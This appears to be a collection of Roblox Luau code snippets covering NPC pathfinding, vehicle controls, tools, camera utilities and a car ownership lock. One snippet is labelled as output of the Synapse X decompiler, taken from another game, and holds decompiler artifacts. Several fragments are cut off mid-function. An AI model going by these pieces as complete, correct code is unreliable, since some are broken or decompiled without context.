local targetHumanoid = Mind.CurrentTargetHumanoid.Value
if targetHumanoid ~= nil and targetHumanoid:IsA 'Humanoid' and targetHumanoid.Torso ~= nil and targetHumanoid.Torso:IsA 'BasePart' then
return true
else
return false
end
end
function Monster:HasClearLineOfSight()
-- Going to cast a ray to see if I can just see my target
local myPos, targetPos = Monster:GetCFrame().p, Monster:GetTargetCFrame().p
local hit, pos = Workspace:FindPartOnRayWithIgnoreList(
Ray.new(
myPos,
targetPos - myPos
),
{
Self,
Mind.CurrentTargetHumanoid.Value.Parent
}
)
if hit == nil then
return true
else
return false
end
end
function Monster:RecomputePath()
if not Data.Recomputing then
if Monster:IsAlive() and Monster:TargetIsValid() then
if Monster:HasClearLineOfSight() then
Data.AutoRecompute = true
Data.PathCoords = {
Monster:GetCFrame().p,
Monster:GetTargetCFrame().p
}
Data.LastRecomputePath = tick()
Data.CurrentNode = nil
Data.CurrentNodeIndex = 2 -- Starts chasing the target without evaluating its current position
else
-- Do pathfinding since you can't walk straight
Data.Recomputing = true -- Basically a debounce.
Data.AutoRecompute = false
local path = Info.PathfindingService:ComputeSmoothPathAsync(
Monster:GetCFrame().p,
Monster:GetTargetCFrame().p,
500
)
Data.PathCoords = path:GetPointCoordinates()
Data.Recomputing = false
Data.LastRecomputePath = tick()
Data.CurrentNode = nil
Data.CurrentNodeIndex = 1
end
end
end
end
function Monster:Update()
Monster:ReevaluateTarget()
Monster:SearchForTarget()
Monster:TryRecomputePath()
Monster:TravelPath()
end
function Monster:TravelPath()
local closest, closestDistance, closestIndex
local myPosition = Monster:GetCFrame().p
local skipCurrentNode = Data.CurrentNode ~= nil and (Data.CurrentNode - myPosition).magnitude < 3
for i=Data.CurrentNodeIndex, #Data.PathCoords do
local coord = Data.PathCoords[i]
if not (skipCurrentNode and coord == Data.CurrentNode) then
local distance = (coord - myPosition).magnitude
if closest == nil then
closest, closestDistance, closestIndex = coord, distance, i
else
if distance < closestDistance then
closest, closestDistance, closestIndex = coord, distance, i
else
break
end
end
end
end
--
if closest ~= nil then
Data.CurrentNode = closest
Data.CurrentNodeIndex = closestIndex
local humanoid = Self:FindFirstChild 'Humanoid'
if humanoid ~= nil and humanoid:IsA'Humanoid' then
humanoid:MoveTo(closest)
end
if Monster:IsAlive() and Monster:TargetIsValid() then
Monster:TryJumpCheck()
Monster:TryAttack()
end
if closestIndex == #Data.PathCoords then
-- Reached the end of the path, force a new check
Data.AutoRecompute = true
end
end
end
function Monster:TryJumpCheck()
if tick() - Data.LastJumpCheck > 1/Info.JumpCheckFrequency then
Monster:JumpCheck()
end
end
function Monster:TryAttack()
if tick() - Data.LastAttack > 1/Settings.AttackFrequency.Value then
Monster:Attack()
end
end
function Monster:Attack()
local myPos, targetPos = Monster:GetCFrame().p, Monster:GetTargetCFrame().p
if (myPos - targetPos).magnitude <= Settings.AttackRange.Value then
wait(1)
Mind.CurrentTargetHumanoid.Value:TakeDamage(Settings.AttackDamage.Value)
Data.LastAttack = tick()
Data.AttackTrack:Play()
end
end
function Monster:JumpCheck()
-- Do a raycast to check if we need to jump
local myCFrame = Monster:GetCFrame()
local checkVector = (Monster:GetTargetCFrame().p - myCFrame.p).unit*2
local hit, pos = Workspace:FindPartOnRay(
Ray.new(
myCFrame.p + Vector3.new(0, -2.4, 0),
checkVector
),
Self
)
if hit ~= nil and not hit:IsDescendantOf(Mind.CurrentTargetHumanoid.Value.Parent) then
-- Do a slope check to make sure we're not walking up a ramp
local hit2, pos2 = Workspace:FindPartOnRay(
Ray.new(
myCFrame.p + Vector3.new(0, -2.3, 0),
checkVector
),
Self
)
if hit2 == hit then
if ((pos2 - pos)*Vector3.new(1,0,1)).magnitude < 0.05 then -- Will pass for any ramp with <2 slope
Self.Humanoid.Jump = true
end
end
end
Data.LastJumpCheck = tick()
end
function Monster:Connect()
Mind.CurrentTargetHumanoid.Changed:connect(function(humanoid)
if humanoid ~= nil then
assert(humanoid:IsA'Humanoid', 'Monster target must be a humanoid')
Monster:RecomputePath()
end
end)
Self.Respawn.OnInvoke = function(point)
Monster:Respawn(point)
end
end
function Monster:Initialize()
Monster:Connect()
if Settings.AutoDetectSpawnPoint.Value then
Settings.SpawnPoint.Value = Monster:GetCFrame().p
end
end
function Monster:Respawn(point)
local point = point or Settings.SpawnPoint.Value
for index, obj in next, Data.BaseMonster:Clone():GetChildren() do
if obj.Name == 'Configurations' or obj.Name == 'Mind' or obj.Name == 'Respawned' or obj.Name == 'Died' or obj.Name == 'MonsterScript' or obj.Name == 'Respawn' then
obj:Destroy()
else
Self[obj.Name]:Destroy()
obj.Parent = Self
end
end
Monster:InitializeUnique()
Self.Parent = Workspace
Self.HumanoidRootPart.CFrame = CFrame.new(point)
Settings.SpawnPoint.Value = point
Self.Respawned:Fire()
end
function Monster:InitializeUnique()
Data.AttackTrack = Self.Humanoid:LoadAnimation(script.Attack)
end
function Monster:ReevaluateTarget()
local currentTarget = Mind.CurrentTargetHumanoid.Value
if currentTarget ~= nil and currentTarget:IsA'Humanoid' then
local character = currentTarget.Parent
if character ~= nil then
local player = Info.Players:GetPlayerFromCharacter(character)
if player ~= nil then
if not player.Neutral and player.TeamColor == Settings.FriendlyTeam.Value then
Mind.CurrentTargetHumanoid.Value = nil
end
end
end
if currentTarget == Mind.CurrentTargetHumanoid.Value then
local torso = currentTarget.Torso
if torso ~= nil and torso:IsA 'BasePart' then
if Settings.CanGiveUp.Value and (torso.Position - Monster:GetCFrame().p).magnitude > Monster:GetMaximumDetectionDistance() then
Mind.CurrentTargetHumanoid.Value = nil
end
end
end
end
end
|
--[[**
Cleans up whatever `Object` was set to this namespace by the 3rd parameter of `:Add()`.
@param [t:any] Index The index you want to remove.
@returns [t:Janitor] The same janitor, for chaining reasons.
**--]]
|
function Janitor.__index:Remove(Index)
local This = self[IndicesReference]
if This then
local Object = This[Index]
if Object then
local MethodName = self[Object]
if MethodName then
if MethodName == true then
Object()
else
local ObjectMethod = Object[MethodName]
if ObjectMethod then
ObjectMethod(Object)
end
end
self[Object] = nil
end
This[Index] = nil
end
end
return self
end
|
--colbert was way too lazy to make his own this time.
|
Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}
function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")}
torso = Tool.Parent:FindFirstChild("Torso")
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new("Weld")
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(0.8,0.5,0.4)*CFrame.Angles(math.rad(270),math.rad(40),0)
welds[1] = weld1
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1.2,0.5,0.4)*CFrame.Angles(math.rad(270),math.rad(-5),0)
welds[2] = weld2
end
else
print("sh")
end
else
print("arms")
end
end
function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print("sh")
end
else
print("arms")
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 3 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 3 , -- Controller steering R-deadzone (0 - 100%)
}
Tune.KickdownWindow = .25 --Time (seconds) in which you must double click throttle key
Tune.KickdownRPMCap = 5000 --RPM at which downshifts will no longer occur in the event of a kickdown
Tune.LaunchBuildup = 2500 --RPM in which launch control will build up to
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.ButtonA ,
ContlrToggleABS = Enum.KeyCode.ButtonA ,
}
|
--[[ Script Variables ]]
|
--
while not Players.LocalPlayer do
wait()
end
local LocalPlayer = Players.LocalPlayer
local Mouse = LocalPlayer:GetMouse()
local PlayerGui = LocalPlayer:WaitForChild('PlayerGui')
local ScreenGui = nil
local ShiftLockIcon = nil
local InputCn = nil
local IsShiftLockMode = false
local IsShiftLocked = false
local IsActionBound = false
local IsInFirstPerson = false
|
-- Head
|
character.RagdollRig.ConstraintHead.Attachment0 = Neck
character.RagdollRig.ConstraintHead.Attachment1 = Head
|
--[=[
Requires all the modules that are descendants of the given parent.
]=]
|
function KnitServer.AddServicesDeep(parent: Instance): {Service}
local addedServices = {}
for _,v in ipairs(parent:GetDescendants()) do
if not v:IsA("ModuleScript") then continue end
table.insert(addedServices, require(v))
end
return addedServices
end
|
--script.Parent.JJ.Velocity = script.Parent.JJ.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.JJJ.Velocity = script.Parent.JJJ.CFrame.lookVector *script.Parent.Speed.Value
|
script.Parent.JJJJ.Velocity = script.Parent.JJJJ.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.K.Velocity = script.Parent.K.CFrame.lookVector *script.Parent.Speed.Value
|
-----------------------------------------------------------------------
-- converts a IEEE754 double number to an 8-byte little-endian string
-- * luaU:from_double() and luaU:from_int() are adapted from ChunkBake
-- * supports +/- Infinity, but not denormals or NaNs
-----------------------------------------------------------------------
|
function luaU:from_double(x)
local function grab_byte(v)
local c = v % 256
return (v - c) / 256, string.char(c)
end
local sign = 0
if x < 0 then sign = 1; x = -x end
local mantissa, exponent = math.frexp(x)
if x == 0 then -- zero
mantissa, exponent = 0, 0
elseif x == 1/0 then
mantissa, exponent = 0, 2047
else
mantissa = (mantissa * 2 - 1) * math.ldexp(0.5, 53)
exponent = exponent + 1022
end
local v, byte = "" -- convert to bytes
x = math.floor(mantissa)
for i = 1,6 do
x, byte = grab_byte(x); v = v..byte -- 47:0
end
x, byte = grab_byte(exponent * 16 + x); v = v..byte -- 55:48
x, byte = grab_byte(sign * 128 + x); v = v..byte -- 63:56
return v
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = require(game.Players.LocalPlayer:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls();
local v2 = game["Run Service"];
local l__UserInputService__3 = game:GetService("UserInputService");
local l__TweenService__4 = game:GetService("TweenService");
local l__ProximityPromptService__5 = game:GetService("ProximityPromptService");
local v6 = script:FindFirstAncestor("MainUI");
local l__Highlight__7 = script:WaitForChild("Highlight");
local u1 = require(script.Parent);
local l__HintFrame__2 = v6:WaitForChild("MainFrame"):WaitForChild("HintFrame");
local l__TextService__3 = game:GetService("TextService");
local u4 = require(script:WaitForChild("MouseIcons"));
local u5 = require(script:WaitForChild("Hint"));
local u6 = require(script:WaitForChild("HintConsole"));
local u7 = nil;
function update(p1, p2)
task.spawn(function()
if u1.platform == "mobile" then
return;
end;
if p1.ObjectText == "Hint" then
local v8 = l__HintFrame__2:Clone();
v8.Parent = l__HintFrame__2.Parent;
v8.Title.Text = p1.ObjectText;
v8.Desc.Text = p1.ActionText;
v8.Key.Text = p1.KeyboardKeyCode.Name;
v8.Bar.Bar.Size = UDim2.new(0, 0, 1, 0);
v8.Bar.Bar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Sine", 0.1, true);
local v9 = UDim.new(0.85, -10);
local v10 = l__TextService__3:GetTextSize(v8.Desc.Text, v8.Desc.AbsoluteSize.Y, Enum.Font.GothamBold, v8.Desc.AbsoluteSize);
local l__X__11 = v8.Key.AbsoluteSize.X;
v8.CenterImage.Image = u4.getIcon(p1.ObjectText);
if p1.KeyboardKeyCode.Name == "RightMeta" then
if u5[p1.ActionText] == nil then
v8.Title.Visible = false;
v8.Back.Size = UDim2.new(0.05, math.max(v8.Desc.TextBounds.X + l__X__11, v8.Title.TextBounds.X), 0.1, 0);
v8.Key.Text = " ";
v8.Key.Position = UDim2.new(0.5, -(v10.X / 2) + l__X__11 / 4, v9.Scale, v9.Offset);
v8.Desc.Position = UDim2.new(0.5, 0, v9.Scale, v9.Offset);
v8.Key.Visible = false;
else
v8.Title.Visible = false;
v8.Back.Size = UDim2.new(0.05, math.max(v8.Desc.TextBounds.X + l__X__11 + l__X__11, v8.Title.TextBounds.X), 0.1, 0);
v8.Key.Text = u5[p1.ActionText];
v8.Key.Position = UDim2.new(0.5, -(v10.X / 2) + l__X__11 / 4, v9.Scale, v9.Offset);
v8.Desc.Position = UDim2.new(0.5, l__X__11 / 2 + l__X__11 / 4, v9.Scale, v9.Offset);
v8.Key.Visible = true;
end;
else
v8.Title.Visible = false;
v8.Back.Size = UDim2.new(0.05, math.max(v8.Desc.TextBounds.X + l__X__11 + l__X__11, v8.Title.TextBounds.X), 0.1, 0);
v8.Key.Text = u5[p1.ActionText];
v8.Key.Position = UDim2.new(0.5, -(v10.X / 2) + l__X__11 / 4, v9.Scale, v9.Offset);
v8.Desc.Position = UDim2.new(0.5, l__X__11 / 2 + l__X__11 / 4, v9.Scale, v9.Offset);
v8.Key.Visible = true;
end;
if u1.platform == "console" then
v8.Key.Visible = false;
v8.KeyXbox.Image = u6[p1.ActionText];
v8.KeyXbox.Size = v8.Key.Size;
v8.KeyXbox.Position = v8.Key.Position;
v8.KeyXbox.Visible = true;
else
v8.KeyXbox.Visible = false;
end;
({}).BackgroundColor3 = Color3.fromRGB(0, 0, 0);
if 0 < p1.HoldDuration then
v8.Bar.Visible = true;
else
v8.Bar.Visible = false;
end;
script.Holding:Stop();
local l__CurrentCamera__12 = workspace.CurrentCamera;
local l__Position__13 = l__CurrentCamera__12.CFrame.Position;
local l__Parent__14 = p1.Parent;
local v15 = false;
local l__Position__16
if l__Parent__14 then
if not l__Parent__14:IsA("BasePart") then
if l__Parent__14:IsA("Model") then
l__Position__16 = l__Parent__14:GetPivot().Position;
v15 = true;
elseif l__Parent__14:IsA("Attachment") then
local l__WorldPosition__17 = l__Parent__14.WorldPosition;
end;
else
l__Position__16 = l__Parent__14:GetPivot().Position;
v15 = true;
end;
v8.Visible = true;
v8.Position = UDim2.new(0.5, 0, 0.5, 0);
local v18 = 1 - 1;
local v19
local v20, v21 = l__CurrentCamera__12:WorldToScreenPoint(Vector3.new(0,0.2,0));
if not l__Parent__14:IsA("BasePart") then
if not l__Parent__14:IsA("Model") then
if l__Parent__14:IsA("Attachment") then
while true do
if p1 then
else
v8.Visible = false;
break;
end;
if u7 == u7 then
else
v8.Visible = false;
break;
end;
if u7 then
else
v8.Visible = false;
break;
end;
if u7.Connected then
else
v8.Visible = false;
break;
end;
if v15 then
v19 = l__Parent__14:GetPivot().Position;
else
v19 = l__Parent__14.WorldPosition;
end;
if v21 then
v8.Visible = true;
v8.Position = UDim2.new(0, math.clamp(v20.X, 80, v6.AbsoluteSize.X - 80), 0, math.clamp(v20.Y, 80, v6.AbsoluteSize.Y - 80));
else
v8.Visible = false;
end;
task.wait();
if 0 <= 1 then
if v18 < 100000000 then
else
break;
end;
elseif 100000000 < v18 then
else
break;
end;
v18 = v18 + 1;
end;
end;
else
v18 = 1 - 1;
while true do
if p1 then
else
v8.Visible = false;
break;
end;
if u7 == u7 then
else
v8.Visible = false;
break;
end;
if u7 then
else
v8.Visible = false;
break;
end;
if u7.Connected then
else
v8.Visible = false;
break;
end;
if v15 then
v19 = l__Parent__14:GetPivot().Position;
else
v19 = l__Parent__14.WorldPosition;
end;
v20, v21 = l__CurrentCamera__12:WorldToScreenPoint(v19 - Vector3.new(0, 0.2, 0));
if v21 then
v8.Visible = true;
v8.Position = UDim2.new(0, math.clamp(v20.X, 80, v6.AbsoluteSize.X - 80), 0, math.clamp(v20.Y, 80, v6.AbsoluteSize.Y - 80));
else
v8.Visible = false;
end;
task.wait();
if 0 <= 1 then
if v18 < 100000000 then
else
break;
end;
elseif 100000000 < v18 then
else
break;
end;
v18 = v18 + 1;
end;
end;
else
v18 = 1 - 1;
while true do
if p1 then
else
v8.Visible = false;
break;
end;
if u7 == u7 then
else
v8.Visible = false;
break;
end;
if u7 then
else
v8.Visible = false;
break;
end;
if u7.Connected then
else
v8.Visible = false;
break;
end;
if v15 then
v19 = l__Parent__14:GetPivot().Position;
else
v19 = l__Parent__14.WorldPosition;
end;
v20, v21 = l__CurrentCamera__12:WorldToScreenPoint(v19 - Vector3.new(0, 0.2, 0));
if v21 then
v8.Visible = true;
v8.Position = UDim2.new(0, math.clamp(v20.X, 80, v6.AbsoluteSize.X - 80), 0, math.clamp(v20.Y, 80, v6.AbsoluteSize.Y - 80));
else
v8.Visible = false;
end;
task.wait();
if 0 <= 1 then
if v18 < 100000000 then
else
break;
end;
elseif 100000000 < v18 then
else
break;
end;
v18 = v18 + 1;
end;
end;
end;
v8.Visible = false;
v8:Destroy();
end;
end);
end;
l__ProximityPromptService__5.PromptShown:Connect(function(p3)
if p3.ObjectText == "Hint" then
u7 = p3.Changed:Connect(function()
update(p3);
end);
update(p3);
end;
end);
l__ProximityPromptService__5.PromptHidden:Connect(function(p4)
if p4.ObjectText == "Hint" then
pcall(function()
u7:Disconnect();
end);
end;
end);
l__ProximityPromptService__5.PromptTriggered:Connect(function(p5)
if p5.ObjectText == "Hint" then
update(p5, true);
end;
end);
l__ProximityPromptService__5.PromptButtonHoldBegan:Connect(function(p6)
if p6.ObjectText == "Hint" then
update(p6);
end;
end);
l__ProximityPromptService__5.PromptButtonHoldEnded:Connect(function(p7)
if p7.ObjectText == "Hint" then
update(p7);
end;
end);
|
-- Directories
|
SharedModules = ReplicatedStorage:WaitForChild("SharedModules")
|
-- theObj : (variant) the table with values to print
|
return function(theObj)
local pathToObject = theObj.Name
local currentObj = theObj
while currentObj.Parent ~= nil do
pathToObject = string.format("%s.%s", currentObj.Parent.Name, pathToObject)
currentObj = currentObj.Parent
end
return pathToObject
end
|
-------- OMG HAX
|
r = game:service("RunService")
Tool = script.Parent
local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass
local gravity = 0.75 -- things float at > 1
local ghostEffect = nil
local massCon1 = nil
local massCon2 = nil
local head = nil
function recursiveGetLift(node)
local m = 0
local c = node:GetChildren()
if (node:FindFirstChild("Head") ~= nil) then head = node:FindFirstChild("Head") end -- nasty hack to detect when your parts get blown off
for i=1,#c do
if c[i].className == "Part" then
if (head ~= nil and (c[i].Position - head.Position).magnitude < 10) then -- GROSS
if c[i].Name == "Handle" then
m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
else
m = m + (c[i]:GetMass() * equalizingForce * gravity)
end
end
end
m = m + recursiveGetLift(c[i])
end
return m
end
function onMassChanged(child, char)
if (ghostEffect ~= nil) then
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
end
end
function UpdateGhostState(isUnequipping)
if isUnequipping == true then
ghostEffect:Remove()
ghostEffect = nil
massCon1:disconnect()
massCon2:disconnect()
else
if ghostEffect == nil then
local char = Tool.Parent
if char == nil then return end
ghostEffect = Instance.new("BodyForce")
ghostEffect.Name = "GravityCoilEffect"
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
ghostEffect.Parent = char.Head
ghostChar = char
massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end)
massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end)
end
end
end
function onEquipped()
Tool.Handle.CoilSound:Play()
UpdateGhostState(false)
end
function onUnequipped()
UpdateGhostState(true)
end
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
|
local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false}
math.randomseed(tick())
|
-- options -------------------------
|
setupmode = "Auto" -- Manual or Auto (if you want to pick what plugins you have yourself or you want it to be automated)
soundplugin = "StockSound" -- StockSound, SoundSuite or 1.5 Sound (no others are supported, sorry!) (MANUAL ONLY)
camkey = "v" -- the key you use for first person camera
level = 32 -- 0% - 100%
exceptions = {"Engine","Ignition","Smoke","Horn"} -- put names of audios to ignore here (AUTO ONLY)
|
--[[Utilities.tweenFoV = function(FOV,step)
coroutine.resume(coroutine.create(function()
local fv0 = cam.FieldOfView
for i = 0,90,step do
local r = ((math.sin(math.rad(i))+1)/2)
cam.FieldOfView = (Vector3.new(fv0,0,0):Lerp(Vector3.new(FOV,0,0),r).X)
rs:wait()
end
end))
end]]
|
--
Utilities.tweenFoV = function(goal, frames)
if not _G.tweeningFov then
coroutine.resume(coroutine.create(function()
SFn = SFn and SFn + 1 or 0
local SFn_S = SFn
for i = 1, frames do
if SFn ~= SFn_S then break end
cam.FieldOfView = cam.FieldOfView + (goal - cam.FieldOfView) * (i / frames)
game:GetService("RunService").RenderStepped:wait()
--_G.tweeningFov = true
end
--_G.tweeningFov = false
end))
end
end
Utilities.tweenRoll = function(Roll,step)
coroutine.resume(coroutine.create(function()
local r0 = cam:GetRoll()
for i = -90,90,step do
local r = ((math.sin(math.rad(i))+1)/2)
cam:SetRoll(Vector3.new(r0,0,0):Lerp(Vector3.new(Roll,0,0),r).X)
rs:wait()
end
end))
end
Utilities.Fade = function(target, goal, frames, IsGui)
coroutine.resume(coroutine.create(function()
for i = 1, frames do
if IsGui == true then
target.TextTransparency = target.TextTransparency + (goal - target.TextTransparency) * (i / frames)
rs:wait()
elseif IsGui == false then
target.Size = target.Size + (goal - target.Size) * (i / frames)
rs:wait()
end
end
end))
end
Utilities.FixCam = function()
cam.CameraSubject = player.Character.Humanoid
cam.CameraType = "Custom"
player.Character.Humanoid.WalkSpeed = 32.5
end
Utilities.SpawnCam = function(Target)
cam.CameraType = "Attach"
cam.CameraSubject = Target
wait(.05)
cam.CoordinateFrame = Target.CFrame
cam.CameraType = "Scriptable"
player.Character.Humanoid.WalkSpeed = 32.5
end
Utilities.tweenCam = function(CO, t)
coroutine.resume(coroutine.create(function()
COn = COn and COn + 1 or 0 local COn_S = COn
for i = 1, t do
if COn ~= COn_S then break end
char.Humanoid.CameraOffset = char.Humanoid.CameraOffset + (CO - char.Humanoid.CameraOffset) * (i / t)
rs:wait()
end
end))
end
Utilities.TweenJoint = function(Joint, newC0, newC1, Alpha, Duration)
spawn(function()
local newCode = math.random(-1e9, 1e9) --This creates a random code between -1000000000 and 1000000000
local tweenIndicator = nil
if (not Joint:findFirstChild("tweenCode")) then --If the joint isn't being tweened, then
tweenIndicator = Instance.new("IntValue")
tweenIndicator.Name = "tweenCode"
tweenIndicator.Value = newCode
tweenIndicator.Parent = Joint
else
tweenIndicator = Joint.tweenCode
tweenIndicator.Value = newCode --If the joint is already being tweened, this will change the code, and the tween loop will stop
end
if Duration <= 0 then --If the duration is less than or equal to 0 then there's no need for a tweening loop
if newC0 then Joint.C0 = newC0 end
if newC1 then Joint.C1 = newC1 end
else
local Increment = 1.5 / Duration --Calculate the increment here so it doesn't need to be calculated in the loop
local startC0 = Joint.C0
local startC1 = Joint.C1
local X = 0
while true do
rs:wait() --This makes the for loop step every 1/60th of a second
local newX = X + Increment
X = (newX > 90 and 90 or newX) --Makes sure the X never goes above 90
if tweenIndicator.Value ~= newCode then break end --This makes sure that another tween wasn't called on the same joint
if newC0 then Joint.C0 = startC0:lerp(newC0, Alpha(X)) end
if newC1 then Joint.C1 = startC1:lerp(newC1, Alpha(X)) end
if X == 90 then break end --If the tweening is done...
end
end
if tweenIndicator.Value == newCode then --If this tween functions was the last one called on a joint then it will remove the code
tweenIndicator:Destroy()
end
end)
end
Utilities.Weld = function(p1, p2, c0)
local w = Instance.new("Motor6D", p1)
w.Part0 = p1
w.Part1 = p2
w.Name = p1.Name
w.C0 = c0 or p1.CFrame:inverse() * p2.CFrame
return w
end
return Utilities
|
-- constants
|
local EFFECTS = Workspace:WaitForChild("Effects")
|
-- local placeID_Premium = 2514752346 -- плейс куда телепортируемся
|
local function onTeleporterTouch(otherPart)
local player = Players:GetPlayerFromCharacter(otherPart.Parent)
if not player then return end
-- If the user already has Premium, teleport them to the Premium-only place
if player.MembershipType == Enum.MembershipType.Premium then
|
-- 2xy0x
|
local Character
repeat wait() until script.Parent:FindFirstChild("Humanoid")
Character = script.Parent
local Humanoid = Character:WaitForChild("Humanoid")
local HRP = Character:WaitForChild("HumanoidRootPart")
local Values = require(script.Values)
local function CalculateDamage(Magnitude)
-- Calculates the amount of damage the player will take from the fall.
local afterminus100;
local totaldamage;
afterminus100 = Magnitude - Values.MinimumFallDamageStuds
if afterminus100 >= 0 then
totaldamage = Magnitude*Values.DamageMultiplication + 10
else
totaldamage = 0
end
return totaldamage
end
Humanoid.StateChanged:Connect(function(oldstate,newstate)
local magnitude;
local total;
if newstate == Enum.HumanoidStateType.Landed then -- Tells when the player landed
--print('landed')
Values.DontUpdateYet = true;
magnitude = (Values.LastStandingPos - HRP.Position).magnitude -- measures the y position of where they fell from, and the Y position they have after they touched the ground.
total = CalculateDamage(magnitude)
-- Here, the script checks if the total is greater than 0. If it is, then it damages the player and plays the sound.
if total > 0 then
Humanoid.Health = Humanoid.Health - total
script.DamageSound:Play()
end
Values.DontUpdateYet = false;
end
end)
|
--// SProtect by Itzt: V1.0
|
local M = require(script.Settings)
local RS = game:GetService("RunService")
local locked = true
function count()
local z = 0
if M.onlyme then
local v = M.owners[1]
if game.Players:FindFirstChild(v) then
z += 1
else
if tonumber(v) ~= nil then
if game.Players:GetPlayerByUserId(v) then
z += 1
end
end
end
else
for i,v in pairs(M.owners) do
if game.Players:FindFirstChild(v) then
z += 1
else
if tonumber(v) ~= nil then
if game.Players:GetPlayerByUserId(v) then
z += 1
end
end
end
end
end
return z
end
function search(t,p)
local x = string.lower(p.Name)
if table.find(t,x) or table.find(t,p.UserId) then
return true
else
return false
end
end
game.Players.PlayerAdded:connect(function(x)
if search(M.owners,x) then
--print("Owner of car granted permissions")
x.Chatted:connect(function(z)
if string.lower(z) == string.lower(M.delmsg) then
script.Parent:Destroy()
elseif string.lower(z) == string.lower(M.carname.." "..M.unlock) then
locked = false
elseif string.lower(z) == string.lower(M.carname.." "..M.lock) then
locked = true
end
end)
end
end)
wait(2)
for i,x in pairs(game.Players:GetChildren()) do
if search(M.owners,x) then
--print("Owner of car granted permissions")
x.Chatted:connect(function(z)
if string.lower(z) == string.lower(M.delmsg) then
script.Parent:Destroy()
elseif string.lower(z) == string.lower(M.carname.." "..M.unlock) then
locked = false
elseif string.lower(z) == string.lower(M.carname.." "..M.lock) then
locked = true
end
end)
end
end
if (RS:IsStudio() and M.studioperms) then
warn("studio detected, car will not lock")
elseif count() == 0 then
warn("no owners found, deleting")
script.Parent:Destroy()
script:Destroy()
end
game.Players.PlayerRemoving:connect(function(x)
if count() == 0 then
script.Parent:Destroy()
end
end)
script.Parent.DriveSeat.ChildAdded:connect(function(child)
if child.Name == "SeatWeld" then
if child.Part1.Name == "HumanoidRootPart" then
local x = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if search(M.owners,x) or (RS:IsStudio() and M.studioperms) or (locked==false) then
else
wait() --prevent the car from becoming unusable
child:Destroy()
if M.lethal then
x.Character.Humanoid.Health -= x.Character.Humanoid.Health
else
x:LoadCharacter()
end
end
end
end
end)
|
--[[
A limited, simple implementation of a Signal.
Handlers are fired in order, and (dis)connections are properly handled when
executing an event.
]]
|
local function immutableAppend(list, ...)
local new = {}
local len = #list
for key = 1, len do
new[key] = list[key]
end
for i = 1, select("#", ...) do
new[len + i] = select(i, ...)
end
return new
end
local function immutableRemoveValue(list, removeValue)
local new = {}
for i = 1, #list do
if list[i] ~= removeValue then
table.insert(new, list[i])
end
end
return new
end
local Signal = {}
Signal.__index = Signal
function Signal.new(store)
local self = {
_listeners = {},
_store = store
}
setmetatable(self, Signal)
return self
end
function Signal:connect(callback)
if typeof(callback) ~= "function" then
error("Expected the listener to be a function.")
end
if self._store and self._store._isDispatching then
error(
'You may not call store.changed:connect() while the reducer is executing. ' ..
'If you would like to be notified after the store has been updated, subscribe from a ' ..
